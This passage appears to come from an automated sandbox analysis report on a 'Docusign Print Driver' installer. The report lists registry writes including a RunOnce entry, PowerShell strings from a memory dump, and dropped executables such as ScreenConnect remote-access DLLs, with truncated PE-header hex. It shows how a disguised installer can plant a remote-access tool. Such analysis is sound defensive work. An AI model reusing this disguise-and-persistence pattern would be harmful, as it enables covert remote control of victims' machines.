2B3AE00447AE602458D6D03461D0B01463F17034648B6004679D10046C221014732EE0247B1490347E44C03485B750348C24F0048D7700348F9A60049EAB7004AAA81004BF4C2014C37FA004C41B4004CA770004CC84B014DCB6C034E1224014E8D22034E9FF0004EE7C1004F14C2004F34280150406A0350614E0350EA43015232300254B7DC00552D2003555F2A01560A850057AD120157BB4402580BD00058AB1703590F1C01595394005A5EB5005BE834035C7465015C926B035CF431025F997A0360622E0360BA32026113240161CA2A0162226803625AC6016396770063BE7A0364D419016530540165C97603664D6003671C8A02673B5B0167F16A036830F00268CF72036978EB02698DB9026AC562026B1060036B1DA8026BED71036C2885026D3E43016E5E63036E7820036EF841016F00BC026F9777036FB3110170DB6D0370FD2903710528017140A3007179730371965803723C1200726E4A00729B370172A2420172ED81017355FD0273866E037477AD0074C7A40275A37E0075AB0A017679E90276BC210177A66D0377EE6E037808EC027815960079856103799C390079D46D037A8B88037AE393017B45D5007B62CE027B863D027B9FEB007BA8D1007BEE63037D45BE027E1044017F88CA007FC1A802804A710281069500822773008258680183061B0183F16000844D26018450EB0084E6830085124A008550AE00867B0601876A49018792170187B14D0187D7210187DE830087F025018893A002892F83028997F5008A8093008AD300028AFAE3008B4E1D018B5188008B9DA1018BEEF2008C1360038CE6F5028E1D68038E78A2008ED6DC018F88A20290194F0390A6A10190EE37019123D3009158A40291C47B039386610093CE8C0194BB5A03950BFE00959F330195CAD00295E1DB00971C6103976AB60097748D0097F6C40098724601987F5C03992D720399FEF7019A18D7029B2BDB009B4D87009C1F4D039C4741019C623A019C7E6A039CA4EB009CC37E039CE0A8009D9D92009E98BB029F47B5029F9192019FEBD402A08F4E03A0E70F03A10E3603A189C700A1D07B02A2050600A221C802A2589C02A2BB1A03A3568803A37ABA02A39B8703A3B24E03A3D40803A4580200A4BA3701A5ADCF00A61CA802A644A600A6E9B300A736A800A754A102A7B8AD00A841F102A8680903A8C81503A9170602A95E1E03AC54F900AC9A6C03AD73BF00ADD4EC00AEC78F02B054A102B0A05403B0F62E03B1B39F02B291DD00B2AA2101B3008103B392FB00B3BF2D01B4526303B47E5803B4F76703B4F9EA00B554A102B5610D01B5F67303B7F00202B8343801B854A102B8673B01B8947603B91AF300B99EC901BAEA5A03BAF9E900BB6A8502BB8E8B00BC54A102BC6EB400BCD22A01BCFA8D00BD388F00BD447403BD539800BE0CAC00BE7E4501BE827203BF516003BF8ECE00BFAB1703C046AD00C054A102C0DB4901C1B2AA02C20C5B02C2610B01C33EA300C36D8100C399F300C3AEF102C4274E03C535C900C561EA01C6BE4201C75DD700C777D700C8464E00C92FB902C9384F01C9389700C953F100CA23B700CA99CE00CB74DA00CBB9E902CC495600CDAA1703CDAD0501CF676901CF74AA00CFF42B02D0175600D19A7B00D1D2A700D2A92B01D3826100D3E88D00D45AC702D4D17A03D6ECC602D6F6DE00D73DEB02D9072401D9286803D9A28003D9F95503DA163E02DA38C801DAC97603DAFF0E00DB19EC02DB26D801DB677F03DB724701DBB2CC02DD1B1901DF1F8001DF416303DFA8C601DFDA3703E03EE701E061C302E0943802E0F56603E1790503E17E8C00E183AC02E1D9F502E21B5600E2907C03E2A25403E3E25B03E4402701E469C900E5CE9A02E5D95903E63E2B0DE66C8100E6FB3903E71BEC02E8803F02E89EFA00E8E09501E91BB302E98C0A01EA94CC02EAC66A03ED3EDC02EDCE8403EE051703EE2A5803EF264D03F01C3F03F0E0B600F15CD402F17D5F00F1FC6000F2B4FA00F308DB00F3282101F36E7603F4CC3E01F548B100F5500D01F5572A01F6DD3C03F7125E00F7D36F00F7DAAD01F7E89101F7ED6A00F7EE4501F9778C00F9BB9401F9EA9E02FA408503FB080601FB365B03FC3A4701FD676403FDDFE501FF340002FF5C5E01FFAB4503E900060000000047F10000EB9E0201914001021C410102354F0102A4150102BD7E0004921E010537C600059D3D0305A43C01068653030A29D8000BFF5C000C771A010D9A03010E4D7E000E9D19010FBA9E00110FAA00117C450112B95D0313198300132FD30014AAFD0015402801159ADB0015BCB701181F1B0119C398001A59F7021AFA99001B07F5021E513D03227A4C0322D38900246F160024798902279BCE0027A2A200288BB4002900D800295563032C21D7002DB1A3002E534C012F28F00232551E013256AE0032D45F013307F50236D841013706F4023722C70037F81D013AE8CC023D5E35013F1CEA0042315F00427F7A004293800042C46A0048C6F5004ACD84034BC836014BDE41014CAF71004D863E034F0B45014F6B6803508FC40052221301528C490153D88F0054202B0154C6FB025677E80256B722015787490159E5D30059EA60015C24C7025CC005015D4F44015DB340015E42C4005F6C4A015F6CDC0060AA560160B9410161FC390162295101628E74036363810064C92601657A4C036768A7006843CE026B0110016E7B8C00702C480370BF190170E8250172D8360173D3A70076418E0077BB2B01792D4F017A2226017C22B8007C78A4008009EF02821ABA0082E6F40084680B018571190387279C028B52CB008BA36B038C3BD3008CAB17038D0547018E08C4028F0643018F3CF30091508A009167C80091962201922F93029283510192C41401930547019369C70096390B01994664019AC657019C4027019CA553039D9FA0009F60C3009F8F6E009FC8CA00A0B50A01A19D2A01A1D7B300A3B06D03A3C4E200A3F76A00A428F302A5022703A5040301A522A400A58F6000A638DA00A7C23301A9B2DB00AA9FCE02AAA82503AB783D01AC840E01ADEFD302AF686403AFEFC900B1414503B4892201B57A4801B6515D00B6D7E602B7E2BF00B9E36D03BA146500BA6CD402BEDF4403BFC82603BFF1A900C221D100C2278403C3812101C3DC2403C5C00501C6064E03C82BFC00C9D7CA00CAC5FB02CCC10101CCE11703D0402701D0D32201D0FE6200D12A5201D1589600D3301C01D3834B01D3FE2103D68EFB00D6B79A00D8793D01D9054C03D9114401DA19D700DAD87E00DC30D100DC63F402DDEB2601DE016D03DFD52201DFD83601E3192F01E42C4C01E6199B00E7163001E79B3B01E8A4C601E9D1F500ED3FDC02F00E4E01F19F4301F21B3203F3791E03F3894001F4062801F4793D01F4AD7A00F4C82F01F629F302F65FE401F6D9EC00F7D45F01F8719A00FA67CB00FCA53B03FE5BFE00FF506003010007000000E42C4C010900400100000212F8002DD8F4004B11B4006041AE007BA8D1008AFAE3009F27FF00A5ADCF00C777D70005004101000006596C012AB72201C9384F01CDAD0501CFF42B0203004201000027691201380E670172ED8101010043010000C0EC7C0001004601000090A6A10100") "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SYSTEMRESTORE\SETUP_LAST"; Key: "AOACAPIERROR"; Value: "0000000000") "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SYSTEMRESTORE\SETUP_LAST"; Key: "AOACAPIRESULT"; Value: "0000000000") "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "BUNDLECACHEPATH"; Value: "%ALLUSERSPROFILE%\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe") "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "BUNDLEPATCHCODE"; Value: "") "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "DISPLAYICON"; Value: "%ALLUSERSPROFILE%\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe,0") "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "DISPLAYNAME"; Value: "Docusign Print Driver 3.6.3 (xps x64)"), "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "MODIFYPATH"; Value: ""%ALLUSERSPROFILE%\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /modify"), "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "QUIETUNINSTALLSTRING"; Value: ""%ALLUSERSPROFILE%\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /uninstall /quiet"), "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "UNINSTALLSTRING"; Value: ""%ALLUSERSPROFILE%\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /uninstall"), "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\INSTALLER\DEPENDENCIES\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "VERSION"; Value: "3.6.3.0"), "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "RESUME"; Value: "0100000000"), "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Value: ""%ALLUSERSPROFILE%\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce"), "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}"; Key: "BUNDLERESUMECOMMANDLINE"; Value: "/burn.log.append "%TEMP%\Docusign_Print_Driver_3.6.3_(xps_x64)_20261106093555.log""), "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\DNSAPI.DLL -103"; Value: "Domain Name System (DNS) Server Trust")76:T58f,Found string "Set-StrictMode" (Indicator: "Set-StrictMode"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-Variable" (Indicator: "Set-Variable"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Enable-PSBreakpoint" (Indicator: "Enable-PSBreakpoint"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-PSBreakpoint" (Indicator: "Set-PSBreakpoint"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-Location $MyInvocation.MyCommand.Name" (Indicator: "Set-Location"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-Location .." (Indicator: "Set-Location"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-Location \" (Indicator: "Set-Location"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-Alias" (Indicator: "Set-Alias"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-Location" (Indicator: "Set-Location"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-PSDebug" (Indicator: "Set-PSdebug"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Update-Help" (Indicator: "Update-Help"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp")77:T492,"SecondInstaller.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%TEMP%\SC_FeedbackTool_107829898\SecondInstaller.exe]- [targetUID: 00000000-00007120] "Microsoft.Deployment.WindowsInstaller.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\MSIE844.tmp-\Microsoft.Deployment.WindowsInstaller.dll]- [targetUID: 00000000-00005136] "DocuSign.Installer.CustomActions.dll" has type "PE32+ executable for MS Windows 4.00 (DLL) x86-64 Mono/.Net assembly 2 sections"- Location: [%TEMP%\MSIE844.tmp-\DocuSign.Installer.CustomActions.dll]- [targetUID: 00000000-00005136] "MSIE844.tmp" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 InstallShield self-extracting archive 6 sections"- Location: [%TEMP%\MSIE844.tmp]- [targetUID: 00000000-00007000] "MSIFE10.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\MSIFE10.tmp]- [targetUID: 00000000-00007000] "MSI5691.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\MSI5691.tmp]- [targetUID: 00000000-00007000]78:Tc94,Dropped file: "07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D]- [targetUID: 00000000-00007000] Dropped file: "StartupProfileData-NonInteractive" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007528] Dropped file: "9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D]- [targetUID: 00000000-00007000] Dropped file: "8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4]- [targetUID: 00000000-00007000] Dropped file: "C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141]- [targetUID: 00000000-00007000] Dropped file: "A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B]- [targetUID: 00000000-00007000] Dropped file: "9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D]- [targetUID: 00000000-00007000] Dropped file: "07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D]- [targetUID: 00000000-00007000] Dropped file: "A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B]- [targetUID: 00000000-00007000] Dropped file: "C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141]- [targetUID: 00000000-00007000] Dropped file: "8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4]- [targetUID: 00000000-00007000] Dropped file: "1A374813EDB1A6631387E414D3E73232" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\1A374813EDB1A6631387E414D3E73232]- [targetUID: 00000000-00007000] Dropped file: "329B6147266C1E26CD774EA22B79EC2E" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\329B6147266C1E26CD774EA22B79EC2E]- [targetUID: 00000000-00007000] Dropped file: "329B6147266C1E26CD774EA22B79EC2E" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\329B6147266C1E26CD774EA22B79EC2E]- [targetUID: 00000000-00007000]79:T1928,"SecondInstaller.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%TEMP%\SC_FeedbackTool_107829898\SecondInstaller.exe]- [targetUID: 00000000-00007120] "ScreenConnect.Windows.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.Windows.dll]- [targetUID: 00000000-00005036] "SecondInstaller.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%WINDIR%\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr\SecondInstaller.exe]- [targetUID: 00000000-00007120] "ScreenConnect.Core.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.Core.dll]- [targetUID: 00000000-00005036] "mbapreq.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "DocuSign.BootstrapperApplication.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\DocuSign.BootstrapperApplication.dll]- [targetUID: 00000000-00007008] "Microsoft.Deployment.WindowsInstaller.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\MSIE844.tmp-\Microsoft.Deployment.WindowsInstaller.dll]- [targetUID: 00000000-00005136] "Microsoft.Deployment.WindowsInstaller.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.dll]- [targetUID: 00000000-00005136] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\it\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\ko\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hans\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\fr\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\es\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\nl\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hant\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "mbahost.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\mbahost.dll]- [targetUID: 00000000-00007008] "BootstrapperCore.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\BootstrapperCore.dll]- [targetUID: 00000000-00007008] "Microsoft.Deployment.WindowsInstaller.Package.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll]- [targetUID: 00000000-00005036] "Microsoft.Deployment.Compression.Cab.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.Cab.dll]- [targetUID: 00000000-00005036] "Microsoft.Deployment.Compression.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.dll]- [targetUID: 00000000-00005036] "ScreenConnect.InstallerActions.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.InstallerActions.dll]- [targetUID: 00000000-00005036] "DocuSign.Installer.CustomActions.dll" has type "PE32+ executable for MS Windows 4.00 (DLL) x86-64 Mono/.Net assembly 2 sections"- Location: [%TEMP%\MSIE844.tmp-\DocuSign.Installer.CustomActions.dll]- [targetUID: 00000000-00005136] "MSIE844.tmp" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 InstallShield self-extracting archive 6 sections"- Location: [%TEMP%\MSIE844.tmp]- [targetUID: 00000000-00007000] "MSIFE10.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\MSIFE10.tmp]- [targetUID: 00000000-00007000] "MSI5691.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\MSI5691.tmp]- [targetUID: 00000000-00007000] "Docusign Print Driver x64.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.be\Docusign Print Driver x64.exe]- [targetUID: 00000000-00007000]7a:T2c63,"powershell.exe" wrote 47288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\SC_FeedbackTool_107829898\SecondInstaller.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 11776 bytes starting with PE header signature to file "C:\Windows\Installer\MSI646E.tmp-\ScreenConnect.InstallerActions.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 20992 bytes starting with PE header signature to file "C:\Windows\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 8704 bytes starting with PE header signature to file "C:\Windows\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 16896 bytes starting with PE header signature to file "C:\Windows\Installer\MSI646E.tmp-\ScreenConnect.Core.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 22016 bytes starting with PE header signature to file "C:\Windows\Installer\MSI646E.tmp-\ScreenConnect.Windows.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 29696 bytes starting with PE header signature to file "C:\Windows\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 25600 bytes starting with PE header signature to file "C:\Windows\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.Cab.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 4096 bytes starting with PE header signature to file "C:\Windows\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr\SecondInstaller.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 25621 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\BootstrapperCore.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 24814 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\DocuSign.BootstrapperApplication.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 3310 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\de\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 14062 bytes starting with PE header signature to file 